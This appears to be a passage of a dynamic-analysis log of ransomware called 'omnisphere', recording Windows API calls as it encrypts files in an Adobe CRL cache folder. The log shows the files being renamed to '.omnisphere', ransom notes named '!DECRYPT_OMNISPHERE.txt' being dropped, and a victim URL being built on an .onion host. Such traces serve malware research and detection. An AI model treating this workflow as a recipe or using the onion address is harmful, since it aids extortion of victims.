"c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl.omnisphere")) returned 1 [0080.850] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.omnisphere.id" [0080.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0080.853] WriteFile (in: hFile=0x3c8, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0080.854] CloseHandle (hObject=0x3c8) returned 1 [0080.858] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0080.858] CloseHandle (hObject=0x3c4) returned 1 [0080.858] SetEndOfFile (hFile=0x3c0) returned 1 [0080.858] FlushFileBuffers (hFile=0x3c0) returned 1 [0080.861] CloseHandle (hObject=0x3c0) returned 1 [0080.861] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned 1 [0080.861] GetProcessHeap () returned 0x1600000 [0080.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x167c428 [0080.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0080.862] GetProcessHeap () returned 0x1600000 [0080.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f6c0 [0080.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f6c0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0080.862] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0080.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0080.862] GetProcessHeap () returned 0x1600000 [0080.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f690 [0080.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f690, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0080.862] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0080.862] GetProcessHeap () returned 0x1600000 [0080.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162ba98 [0080.862] PathCombineW (in: pszDest=0x162ba98, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\!DECRYPT_OMNISPHERE.txt" [0080.862] GetProcessHeap () returned 0x1600000 [0080.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16601a8 [0080.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0080.863] WriteFile (in: hFile=0x3c0, lpBuffer=0x16601a8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x16601a8*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0080.864] CloseHandle (hObject=0x3c0) returned 1 [0080.864] GetProcessHeap () returned 0x1600000 [0080.864] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c428 | out: hHeap=0x1600000) returned 1 [0080.864] GetProcessHeap () returned 0x1600000 [0080.864] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x1639ed0 [0080.864] PathCombineW (in: pszDest=0x1639ed0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\unique_decrypt.key" [0080.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0080.865] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0080.866] CloseHandle (hObject=0x3c0) returned 1 [0080.866] GetProcessHeap () returned 0x1600000 [0080.866] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1639ed0 | out: hHeap=0x1600000) returned 1 [0080.866] GetProcessHeap () returned 0x1600000 [0080.866] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164bd88 | out: hHeap=0x1600000) returned 1 [0080.866] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfa5e97, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfa5e97, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6322b7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0xcb, cFileName="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", cAlternateFileName="CE3388~1.CRL")) returned 1 [0080.866] GetProcessHeap () returned 0x1600000 [0080.866] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x164bd88 [0080.866] PathCombineW (in: pszDest=0x164bd88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", pszFile="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" [0080.866] StrStrW (lpFirst=".omnisphere", lpSrch=".crl") returned 0x0 [0080.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0080.867] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=425) returned 1 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.867] GetTickCount () returned 0x11546c9 [0080.868] GetTickCount () returned 0x11546c9 [0080.868] GetTickCount () returned 0x11546c9 [0080.868] GetTickCount () returned 0x11546c9 [0080.868] GetTickCount () returned 0x11546c9 [0080.868] GetTickCount () returned 0x11546c9 [0080.868] GetTickCount () returned 0x11546d9 [0080.868] GetTickCount () returned 0x11546d9 [0080.868] GetTickCount () returned 0x11546d9 [0080.868] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x16688a0) returned 1 [0080.869] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b28) returned 1 [0080.869] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0080.869] CryptDestroyKey (hKey=0x1639b28) returned 1 [0080.869] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0080.869] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a9, lpName=0x0) returned 0x3c4 [0080.869] MapViewOfFile (hFileMappingObject=0x3c4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a9) returned 0x3430000 [0080.869] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668ce0) returned 1 [0080.870] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16397a8) returned 1 [0080.870] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0080.870] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0080.870] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.870] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.870] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.870] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.870] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.870] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.871] CryptDestroyKey (hKey=0x16397a8) returned 1 [0080.872] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0080.872] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x1a9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0080.872] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0080.876] GetProcessHeap () returned 0x1600000 [0080.876] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2fe) returned 0x167c428 [0080.876] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl.omnisphere")) returned 1 [0080.877] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.omnisphere.id" [0080.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0080.877] WriteFile (in: hFile=0x3c8, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0080.878] CloseHandle (hObject=0x3c8) returned 1 [0080.882] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0080.882] CloseHandle (hObject=0x3c4) returned 1 [0080.882] SetEndOfFile (hFile=0x3c0) returned 1 [0080.883] FlushFileBuffers (hFile=0x3c0) returned 1 [0080.887] CloseHandle (hObject=0x3c0) returned 1 [0080.891] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned 1 [0080.891] GetProcessHeap () returned 0x1600000 [0080.891] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x167c730 [0080.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0080.891] GetProcessHeap () returned 0x1600000 [0080.891] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f418 [0080.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f418, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0080.891] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0080.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0080.891] GetProcessHeap () returned 0x1600000 [0080.891] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f750 [0080.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f750, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0080.891] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0080.891] GetProcessHeap () returned 0x1600000 [0080.891] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162bf78 [0080.891] PathCombineW (in: pszDest=0x162bf78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\!DECRYPT_OMNISPHERE.txt" [0080.891] GetProcessHeap () returned 0x1600000 [0080.891] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16669b8 [0080.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, 